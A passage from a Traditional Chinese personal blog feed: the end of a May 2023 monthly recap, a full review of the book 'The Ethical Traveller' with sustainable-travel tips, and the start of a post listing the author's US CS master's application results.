<p>總之就跟網路上之前的評價差不多：非常紮實</p>
<p>如果修完有什麼特別值得寫下來的收穫再專門寫一篇文章好了 🤔</p>
<h2 id="-部落格上線-feedback" class="relative group">✍🏻 部落格上線 Feedback </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-may-dump/blog-stats.png"
      class="mx-auto my-0 rounded-md"
      alt="部落格瀏覽人次統計圖表"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">本月有 857 人次造訪這個部落格</figcaption>
</figure>
</p>
<p>這個數字其實有點超出我的預期，本來還有點怕都是自己寫爽的，但好像意外收穫到蠻多觀眾 (?)，後來看後台發現這或許跟我有在 Facebook 發文有關，因為流量有 2/3 是從 Facebook 過來，這點其實挺令我感到意外的。也許如果我想要讓讀者持續成長，得要找時間認真思考一下下一步要怎麼走 🤔</p>
<p>另外值得感動的是，這個部落格居然還激起了 2 個部落格準備開張，真是讓我又驚又喜 😂 但經營部落格本來就不是一件說幹就幹的事，我自己從在 Instagram 上開始寫長文到現在，也是經歷了 2 年多才到現在這個階段。這樣說起來寫一下中間的心得 + 過來人經歷好像也是一個不錯的題材，如果有很多人敲碗的話我再來想想吧哈哈哈</p>
<p>總之非常感謝大家的愛戴，我會繼續找有趣的題材來寫，如果有想到什麼有意思的主題，也歡迎在 Facebook，Instagram 底下留言，或是私下跟我說。</p>
<h2 id="-蘇打綠回歸演唱會" class="relative group">💚 蘇打綠回歸演唱會 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-may-dump/round-2.jpg"
      class="mx-auto my-0 rounded-md"
      alt="蘇打綠 《round 2》"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">昨天 (5/30) 蘇打綠日，去兩廳院廣場看他們的回歸演唱會</figcaption>
</figure>
</p>
<p>我的人生一路走來有許多音樂陪我走過，其中 Coldplay 陪我度過了國中的時光，蘇打綠則是陪我度過了高中的時光，所以這兩個樂團，在我心中一直具有很獨特的意義，而這也是為什麼 2017 年對我來說是很特別的一年。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-may-dump/nso-encore.jpg"
      class="mx-auto my-0 rounded-md"
      alt="蘇打綠 樂計畫「最後安可」"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>當年的我是高三生，正準備考大學，邁入人生的另一個階段。</p>
<p>先是 1/1，蘇打綠在兩廳院廣場舉行了休團演唱會，緊接著是 4/12，Coldplay 第一次來台灣舉辦巡迴演唱會，兩次我當然都沒有缺席。但看著心愛的兩個團，一個宣布休團，<a href="https://www.rollingstone.com/music/music-news/coldplay-hint-at-final-album-a-head-full-of-dreams-80245/" target="_blank" rel="noreferrer">一個說這張專輯有可能會是最後一張<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，再配上川普當選、英國脫歐、還有學測爆掉，我還真有種世界要跟我一起崩塌的亡國感。</p>
<p>6 年之後的今天，我又來到了邁入人生另一個階段的十字路口。也剛好在這個時間點上，可以看到蘇打綠回歸、<a href="https://fb.watch/kTh8NTyout/" target="_blank" rel="noreferrer">Coldplay 第二次來台灣<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，這巧合還真是格外具有紀念意義 💚</p>
<h2 id="-那些我在-reddit-上看到的酷酷貼文" class="relative group">👻 那些我在 Reddit 上看到的酷酷貼文 </h2>
<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/12fnjzx/when_you_bury_your_feet_in_the_sand_at_the_beach/">When you bury your feet in the sand at the beach you are briefly wearing the Earth as shoes.</a><br> by
<a href="https://www.reddit.com/user/EighteenRabbit/">u/EighteenRabbit</a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>當你在沙灘上把腳埋進沙子裡，其實等於把地球當成鞋子穿在腳上了呢</p>
</blockquote>
<p>下個月見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-may-dump</guid><pubDate>Wed, 31 May 2023 17:50:34 +0800</pubDate></item><item><title>永續旅遊</title><link>https://blog.tomy.me/zh-tw/posts/ethical-travel/</link><description>你的改變，世界看得見 ✌🏻</description><content:encoded><![CDATA[<p>這本書的原名叫做 <a href="https://www.smithstreetbooks.com/catalogue/the-ethical-traveller/" target="_blank" rel="noreferrer">The Ethical Traveler<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，其實照字面上翻譯的話應該叫做道德旅遊，但感覺念起來就是有點拗口，再加上讀完之後，我覺得他所提到的內容其實概念上其實更接近「永續」，於是才有了現在的標題。</p>
<p>內容相當簡明扼要，就是列出 100 條你可以遵循的守則，在旅遊的同時為當地帶來友善的改變。下面就列出幾個我覺得滿有意思，或是值得大家關注的一些議題吧。</p>
<p>P.s. 推薦大家可以搭配這首歌來閱讀</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/5zdzTGahBzE?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figcaption class="text-center">HONNE - smile more smile more smile more 😃😆😝</figcaption>
<h2 id="-減少碳排" class="relative group">💚 減少碳排 </h2><p>身為 21 世紀的人類，這應該不難理解。雖然大家在日常的生活中也許都有一些環保小撇步，但在旅遊的時候，可能就比較容易忽略這個問題，這邊有幾個例子可以給大家參考：</p>
<ul>
<li>
<ol start="19">
<li>長距離移動的時候，以火車取代飛機</li>
</ol>
</li>
<li>
<ol start="23">
<li>短距離的時候，多使用大眾運輸</li>
</ol>
</li>
<li>
<ol start="24">
<li>食用當地的食物，減少食物的碳足跡 a.k.a. Foodprint (哎呦很會雙關 XD</li>
</ol>
</li>
</ul>
<p>在台灣，國內旅遊的交通選項不多，畢竟除了離島之外已經沒有國內線航班了。但如果是在歐美，比方說從巴黎去柏林旅遊，選擇搭乘火車還是飛機，就會呈現一個五五波的分佈，因為考量票價和時間的花費，飛機其實是一個蠻有競爭力的選項。但其實飛行是一個非常高耗油的交通方式，打個比方，如果我們今天要從台北到高雄：</p>
<ul>
<li>搭高鐵從台北到左營的碳足跡大約是 <a href="https://www.thsrc.com.tw/ArticleContent/5a1f4c72-b564-4706-bcdd-efbda93c3d93" target="_blank" rel="noreferrer">10.88 公斤的 CO₂<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>搭飛機從松山機場到小港機場的碳足跡大約是 <a href="https://co2.myclimate.org/en/portfolios?calculation_id=5834085" target="_blank" rel="noreferrer">121 公斤的 CO₂<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
</ul>
<p>對，大概是 11 倍左右 🙃，這也是為什麼<a href="https://www.forbes.com/sites/carltonreid/2022/12/03/frances-plan-to-ban-short-haul-domestic-flights-wins-approval-from-european-commission/?sh=505c0efb2385" target="_blank" rel="noreferrer">法國政府決定在接下來的幾年逐步禁止國內線航班<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，因為法國的高鐵已經遍佈全國。</p>
<p>那如果非得要飛行怎麼辦呢？你可以使用 <a href="https://www.google.com/travel/flights" target="_blank" rel="noreferrer">Google Flight<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 尋找碳排較低的航空公司飛行，並且「<abbr title="Carbon Offset">碳抵換</abbr>」掉你在這趟飛行中所產生的碳排。簡單來說就是根據你的飛行距離計算你的碳排，然後捐錢給相關的非政府組織，讓他們用這些錢去森林裡種樹，把你跟地球借的乾淨空氣還回去 XD。通常大一點的航空公司會在訂票的過程提供這個加價項目，如果沒有的話可以試試一個瑞士非政府組織的網站：<a href="https://co2.myclimate.org/en/flight_calculators/new" target="_blank" rel="noreferrer">myclimate<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>同樣的概念也可以套用在食物上。食物好吃的鐵則就是新鮮，但就算可以從挪威空運鮭魚來台灣，也不知道會經歷了多少天的旅程，而且除了飛行會有碳排，海鮮還會需要全程低溫冷凍，最後我們在餐桌上吃到的食物，可能有超過一半的價錢是在付運費，然後好吃的程度是在當地吃的不到一半 QQ</p>
<p>所以，想吃好吃的鮭魚，就還是親自去挪威吃吧：）</p>
<h2 id="-增加體驗" class="relative group">✨ 增加體驗 </h2><p>旅行的目的地可能會無聊，但旅途的故事不會 🤠</p>
<ul>
<li>
<ol start="31">
<li>共乘認識新朋友</li>
</ol>
</li>
<li>
<ol start="43">
<li>認識當地人</li>
</ol>
</li>
<li>
<ol start="70">
<li>嘗試和體驗中醫或另類療法</li>
</ol>
</li>
<li>
<ol start="93">
<li>待久一點</li>
</ol>
</li>
</ul>
<p>分享一個我之前發現的音樂祭玩法：去 FB 的相關社團裡找共乘，然後就會不小心認識一些可以一起聽音樂、喝酒的酷酷朋友，甚至還可以交換一些沒聽過的團。</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/ethical-travel/music-featival-carpool-post.png"
      class="rounded-md max-h-96 mx-auto"
      alt="全臺｜音樂祭、專場票券交流區 Facebook 社團徵共乘貼文"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">最好是找那種人多，然後看起來ㄎㄧㄤㄎㄧㄤ的團<br />去音樂祭跟這種人玩準沒錯 XDDDD</figcaption>
  </figure>


<p>如果要深入一個地區旅遊，體驗所謂的在地文化，最好的作法，就是認識當地人。這也是為什麼選擇在在學的期間出去交換是很棒的機會，因為你馬上會有一整個班的在地同學可以認識。如果只是短期的出國，住在有附交誼廳的青年旅館也是一個認識新朋友的方法。我在泰國的時候就遇到一個中國人，他就每天晚上的時候待在交誼廳裡找人聊天，短短幾天就認識了不下二、三十個外國人。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ethical-travel/pycon-berlin-2022.jpg"
      class="mx-auto my-0 rounded-md"
      alt="PyCon 德國志工合照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">參加當地同好社群也是一種認識人的好方法，這是我在德國 PyCon 當志工的合照</figcaption>
</figure>
</p>
<p>那如果你天生沒有點社交牛逼的技能，這時候試試交友軟體也許會是個不錯的選擇。把地區設定在要去的地方，然後開始<del>瘋狂右</del>滑，就算你們最後沒有真的見面，也許也會從對方身上問到很多私房餐廳，或是了解當地的各種文化、思維。</p>
<p>待久一點，剛好就是我這一次去<a href="/zh-tw/posts/bangkok/">曼谷</a>和<a href="/zh-tw/posts/saigon/">西貢</a>的設定，經過這次的體驗，我可以證實這這麼做確實可以有更多時間去充分體驗這兩個城市，並且進一步去關心這個國家，我想從我之前寫心得文的深度應該也可以證明這一點。</p>
<p>體外話，泰國大選剛落幕，但是新總理要等到差不多 7 月才會出來。這一屆的大選相對前幾屆特別受外媒關注，有可能會翻轉泰國長年的政治僵局，並在未來的 10 年對泰國產生至關重要的改變，如果你之前沒有關注過，現在是一個很適合<del>下注下一任泰國總理是誰</del>找相關的新聞看的時機。</p>
<h2 id="-省錢" class="relative group">💰 省錢 </h2><ul>
<li>
<ol start="2">
<li>去剛受災的地區旅遊</li>
</ol>
</li>
<li>
<ol start="4">
<li>淡季旅遊</li>
</ol>
</li>
</ul>
<p>這雖然聽起來很像地獄梗，但意義上來說，你就是在用行動去支持當地的經濟，所以其實沒有什麼不對。選擇剛遭遇災難的地區旅遊，不但不用人擠人，而且通常在這個時機點造訪，因為流失了大量的觀光客，所以通常會意外拿到一些不錯的機票、旅宿折扣，甚至是房型升等。淡季旅遊也是同樣的意思，也許大家清一色都選擇在夏天去澎湖玩水，在冬天去北海道玩雪，但如果這些你都體驗過了，何不試著反向操作看看，也許在享受折扣的同時，會意外發現這個地區不一樣的風貌也說不定。</p>
<h2 id="-打擊貧窮" class="relative group">😖 打擊貧窮 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ethical-travel/world-population-in-extreme-poverty-absolute.svg"
      class="mx-auto my-0 rounded-md"
      alt="生活在極端貧窮下的人口比例折線圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">我們在 21 世紀的前 10 年達成的一項偉大成就：減少極端貧窮</figcaption>
</figure>
</p>
<p>如果你是一個常看新聞的人，你可能很難不產生一種：「人類真是一個糟糕物種」的念頭。好消息是：雖然人類在過去的 20 年桶了不少簍子，但我們成功做到了一件事——減少極端貧窮。</p>
<blockquote>
<p>過去，世界上絕大多數人口生活在極端貧困的條件下。生活在絕對貧困中的全球人口比例從 1800 年的 80% 以上下降到 2015 年的 20% 以下。 根據聯合國的估計，2015 年大約有7.34億人或10%仍處於極端貧困中。</p>
<p>&ndash; <cite><a href="https://zh.wikipedia.org/wiki/%E8%B5%A4%E8%B2%A7" target="_blank" rel="noreferrer">維基百科<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></cite></p>
</blockquote>
<p>但極端貧窮距離台灣坦白說有點遙遠，但我在看相關資料的時候看到一個數據：台灣目前有 53.5% 的人口，平均日薪根本不到 US$40，更糟糕的是這個數字在 2000 年的時候是 50%。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>扯遠了，總之你在旅遊時的選擇，是有機會改善的勞動環境甚至是受薪狀況的，可以從下面的例子做起：</p>
<ul>
<li>
<ol start="63">
<li>認識並了解當地的黑暗面</li>
</ol>
</li>
<li>
<ol start="47">
<li>支持遊民，參與街友導遊團、購買大誌雜誌</li>
</ol>
</li>
<li>
<ol start="70">
<li>給小費前多想一陣子。給太少不尊重，但給太多可能會破壞當地的收入秩序<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>，10% 通常是一張不錯的安全牌。</li>
</ol>
</li>
<li>
<ol start="75">
<li>其實你並沒有那麼需要殺價，也許你是多付了一點錢，但這些錢或是會多支撐一個家庭一個禮拜的伙食費也說不定</li>
</ol>
</li>
<li>
<ol start="76">
<li>如果你真的想幫助路邊要錢的小孩，請把錢捐給當地慈善團體</li>
</ol>
</li>
</ul>
<h2 id="-bonus" class="relative group">💩 Bonus </h2><p>突然發現好像收在一個很嚴肅的地方，那再補充一條好了：44. 路邊解放 💩</p>
<p>路邊解放聽起來很像某種落後的行為，但是根據 <a href="https://lnt.org" target="_blank" rel="noreferrer">Leave No Trace<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的說法，只要符合下面的條件，其實路邊解放是非常友善環境的哦哦哦</p>
<ul>
<li>遠離水源地 200 公尺，或是 70 大步</li>
<li>如果你要上的是 2 號，就在地上挖一個 1.5 個手掌深的洞，然後使用環保可分解的衛生紙，一同埋進洞裡就行了 👍🏻</li>
</ul>
<h2 id="-結論" class="relative group">🗺️ 結論 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/ethical-travel/harcover-at-openhouse.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="明亮挑高的書店"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/ethical-travel/hardcover-stamp.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="書本內頁蓋著 HARDCOVER 的印章"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">這本書是我在曼谷的時候在一間叫做 <a href="https://goo.gl/maps/FPJ2DiNeHDTwmuSZA" target="_blank" rel="noreferrer">HARDCOVER<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的書店買的</figcaption>

<p>我當時有上網查這本書在 Amazon 只要賣 US$16.95 (折合台幣 $520)，但是在那間書店要 ฿950 (折合台幣 $840)，但後來想想覺得，能在旅行途中翻到一本感興趣的書也是有緣，就別計較這麼多了吧。</p>
<p>也許這篇文看下來，很容易產生覺得資訊量過大的感覺，但只要從一個簡單的概念去思考就好：</p>
<blockquote>
<p>這個地方在被我造訪之後，是變得更好，還是更糟了？</p>
</blockquote>
<p>當心有餘力的時候，審視自己在旅行中所做的各項決定，因為他們是有可能對一個地方帶來改變的。</p>
<p>這本書雖然是全英文的，但是文字量不多，插圖也蠻好看的，所以就算當圖畫書翻一翻也還不錯，剛好適逢疫情解封旅遊潮大爆發之際，推薦給大家。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>其實現在並沒有這樣的航線，這個數字是用距離 × 每公里油耗計算出來的&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>資料來源：<a href="https://ourworldindata.org/grapher/poverty-share-of-population-living-on-less-than-40-a-day" target="_blank" rel="noreferrer">Our World in Data<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>書上給了一個我難以想像的例子：在古巴，最聰明的人會選擇去開計程車而不是當醫生，因為開計程車獲得的小費比當醫生的收入來的高太多了。&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">ethical-travel</guid><pubDate>Mon, 29 May 2023 01:53:53 +0800</pubDate></item><item><title>美國 CS 碩士申請心得 (下)</title><link>https://blog.tomy.me/zh-tw/posts/mscs-applying-reflection-ii/</link><description>啊怎麼就這樣被我投中ㄌ</description><content:encoded><![CDATA[<p>這篇是 CS 碩士申請的下集，還沒看過<a href="/zh-tw/posts/mscs-applying-reflection-i/">上集</a>的話可以先去看看那篇再回來。</p>
<p>二話不說先開獎！！</p>
<h2 id="-申請結果" class="relative group">🔥 申請結果 </h2><p>總共投了 18 個學程，其中：</p>
<ul>
<li>🌟 代表夢幻區：以我的實力要上會有困難，但做人不能沒有夢想</li>
<li>🎯 代表重點區：分數差不多的落點，申請資料可能會推一把，也可能把自己送下去</li>
<li>🛡 代表保底區：就是用來確保我不會<del>下水餃</del>全滅，然後明年再見用的：）</li>
</ul>
<p><small>小撇步：點擊學校可以看到全名，點擊學程縮寫可以查看學程主頁<br>P.S. 如果點了沒反應可以試試看長按</small></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>學校</th>
          <th>學程</th>
          <th>送出日期</th>
          <th>開獎日期</th>
          <th>結果</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>🌟</td>
          <td><abbr title="Carnegie Mellon University 卡內基美隆大學">CMU</abbr></td>
          <td><a href="https://mcds.cs.cmu.edu/" target="_blank" rel="noreferrer">MCDS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-11-29</td>
          <td>2023-03-02</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="Carnegie Mellon University 卡內基美隆大學">CMU</abbr></td>
          <td><a href="https://csd.cmu.edu/academics/masters/ms-in-computer-science" target="_blank" rel="noreferrer">MSCS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>2022-11-29</td>
          <td>2023-02-24</td>
          <td>🥲 Rejection</td>
      </tr>
      <tr>
          <td>🌟</td>
          <td><abbr title="Carnegie Mellon University 卡內基美隆大學">CMU</abbr></td>
